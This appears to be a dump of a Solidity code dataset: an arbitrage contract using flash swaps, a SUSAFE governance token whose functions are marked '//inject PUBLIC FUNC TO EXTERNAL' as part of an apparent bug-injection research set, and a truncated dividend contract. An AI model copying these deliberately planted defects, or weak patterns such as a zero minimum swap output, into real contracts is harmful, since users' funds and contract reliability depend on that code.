function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
function stable() external view returns(bool);
function getAmountOut(uint,address) external view returns(uint);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'cdf2deca40a0bd56de8e3ce5c7df6727e5b1bf2ac96f283fa9c4b3e6b42ea9d2' // init code hash))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(998);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(998);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactTokensForTokensSimple(uint amountIn,
uint amountOutMin,
address tokenFrom,
address tokenTo,
bool stable,
address to,
uint deadline) external returns (uint[] memory amounts);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB, bool stable) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IYfi is IERC20{
function deposit(uint amount) external;
function withdraw(uint shares) external;
}
contract Arbitrage {
address public factory;
address public vaultSetter = 0x1B5b5FB19d0a398499A9694AD823D786c24804CC;
mapping(address=>address) public tokenToVault;
function setTokenToVault(address _tok, address _vau) external{
require(msg.sender == vaultSetter);
tokenToVault[_tok] = _vau;
}
uint constant deadline = 9999999999999999999999999999999999;
IUniswapV2Router02 public sushiRouter;
constructor(address _factory, address _sushiRouter) public {
factory = _factory;
sushiRouter = IUniswapV2Router02(_sushiRouter);
}
function startArbitrage(address token0,
address token1,
uint amount0,
uint amount1,
uint profit) external {
address pairAddress = IUniswapV2Factory(factory).getPair(token0, token1, true);
require(pairAddress != address(0), 'This pool does not exist');
IUniswapV2Pair(pairAddress).swap(amount0,
amount1,
address(this),
abi.encode(profit));
}
function hook(address,
uint _amount0,
uint _amount1,
bytes calldata profit) external {
address[] memory path = new address[](2);
uint amountToken = _amount0 == 0 ? _amount1 : _amount0;
uint profitUint = abi.decode(profit, (uint));
address token0 = IUniswapV2Pair(msg.sender).token0();
address token1 = IUniswapV2Pair(msg.sender).token1();
require(msg.sender == IUniswapV2Factory(factory).getPair(token0, token1, true),
'Unauthorized');
require(_amount0 == 0 || _amount1 == 0);
path[0] = _amount0 == 0 ? token1 : token0;
path[1] = _amount0 == 0 ? token0 : token1;
IERC20 token = IERC20(_amount0 == 0 ? token1 : token0);
address vault = tokenToVault[address(token)];
token.approve(vault, amountToken);
IYfi(vault).deposit(amountToken);
uint vBal = IYfi(vault).balanceOf(address(this));
IYfi(vault).approve(address(sushiRouter), vBal);
uint vAm = IYfi(vault).balanceOf(address(this));
sushiRouter.swapExactTokensForTokensSimple(vAm,
0,
vault,
tokenToVault[path[1]],
true,
address(this),
deadline);
uint amountReceived = withdrawVault(path[1]);
IERC20 otherToken = IERC20(_amount0 == 0 ? token0 : token1);
//require(otherToken.balanceOf(address(this)) >= amountRequired, "router check failed somehow");
otherToken.transfer(msg.sender, amountReceived - profitUint);
otherToken.transfer(tx.origin, profitUint);
}
function withdrawVault(address _address) internal returns(uint){
IYfi vaultC = IYfi(tokenToVault[_address]);
uint am = vaultC.balanceOf(address(this));
vaultC.withdraw(am);
return IERC20(_address).balanceOf(address(this));
}
}
| 319,018 | 1,702 |
85a10b51e058d40bb3cbde3d85d7110f03db0c957391576488f3568f807f1b04
| 38,625 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/publicFuncToExternal/0xb5eb2247cd16166d86925dccfa5b3d083daa0e5c_publicFuncToExternal.sol
| 4,987 | 19,711 |
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/SusafeToken.sol
abstract contract ERC20Capped is ERC20 {
uint256 private _cap;
constructor (string memory name, string memory symbol, uint256 cap) ERC20(name, symbol) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
// SusafeToken with Governance.
contract SusafeToken is ERC20Capped("SusafeToken", "SUSAFE", 210000 ether), Ownable {
address public dev = address(0);
function setDev(address _dev) public onlyOwner {
require(dev == address(0) && _dev != address(0), "DevFund contract can be set once only (to avoid of rug-pull)");
dev = _dev;
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public {
require(owner() == msg.sender || dev == msg.sender, "Ownable: caller is not the owner nor dev fund contract");
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
_moveDelegates(_delegates[msg.sender], address(0), _amount);
}
function burnFrom(address _account, uint256 _amount) public virtual {
uint256 decreasedAllowance = allowance(_account, msg.sender).sub(_amount, "ERC20: burn amount exceeds allowance");
_approve(_account, msg.sender, decreasedAllowance);
_burn(_account, _amount);
_moveDelegates(_delegates[_account], address(0), _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
public //inject PUBLIC FUNC TO EXTERNAL
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) public { //inject PUBLIC FUNC TO EXTERNAL
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
public //inject PUBLIC FUNC TO EXTERNAL
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "SUSAFE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "SUSAFE::delegateBySig: invalid nonce");
require(now <= expiry, "SUSAFE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
public //inject PUBLIC FUNC TO EXTERNAL
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
public //inject PUBLIC FUNC TO EXTERNAL
view
returns (uint256)
{
require(blockNumber < block.number, "SUSAFE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSAFEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "SUSAFE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 278,885 | 1,703 |
169adf1b5abeb3af8d0805ecfbb8f906bf9f25a6807a39f369e884bbe92c14b4
| 23,979 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYB452FsNHPmgbT1GbYQWW4odJf42ZMpyK_VoucherDividend.sol
| 4,400 | 17,481 |
//SourceUnit: voucherDividend.sol
pragma solidity 0.4.25;
//
//------------------------ SafeMath Library -------------------------//
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//
//--------------------- GAMES CONTRACT INTERFACE ---------------------//
//
interface InterfaceGAMES {
function getAvailableVoucherRake() external returns (uint256);
function requestVoucherRakePayment() external returns(bool);
}
//
//------------------ VOUCHER TOKEN CONTRACT INTERFACE ------------------//
//
interface InterfaceVoucherTOKEN {
//trc20 token contract functions
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function transfer(address to, uint256 amount) external returns(bool);
function totalSupply() external returns(uint256);
//custom voucher token contract functions
function changeMintingBasePriceWhileDivDistro() external returns (bool);
function usersVoucherBurnedAmount(address user,uint256 mintShareStatus) external view returns(uint256);
function totalBurnIn(uint256 status) external view returns(uint256);
}
//
//------------------ Contract to Manage Ownership -------------------//
//
contract owned {
address internal owner;
address internal newOwner;
address internal signer;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
signer = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlySigner {
require(msg.sender == signer);
_;
}
function changeSigner(address _signer) public onlyOwner {
signer = _signer;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//
//--------------------- VOUCHER MAIN CODE STARTS HERE ---------------------//
//
contract VoucherDividend is owned {
// Public variables of the token
using SafeMath for uint256;
bool public globalHalt;
address public voucherTokenContract;
address public topiaTokenContract;
uint256 public dividendAccumulated;
uint256 public divPercentageSUN = 100000000; //100% of dividend distributed
uint256 public dividendRemainder;
uint256 public lastDividendPaidTime;
// This creates a mapping with all data storage
mapping (address => bool) public whitelistCaller;
address[] public whitelistCallerArray;
mapping (address => uint256) internal whitelistCallerArrayIndex;
//Dividend Tracker variables
mapping (address => uint256) public divPaidAllTime; //token address => amount. And address 0x0 for TRX
uint256 public voucherBurnedAtDivDistribution;
uint256 public totalDividendsPaidNumber;
mapping (address => uint256) public totalburnedVouchersTracker; //maps to user address => tracking of voucherBurnedAtDivDistribution at voucher burned
mapping (address => uint256) public noOfDivPaidAfterBurn; //maps to user address => tracking of totalDividendsPaidNumber while vouchers burn
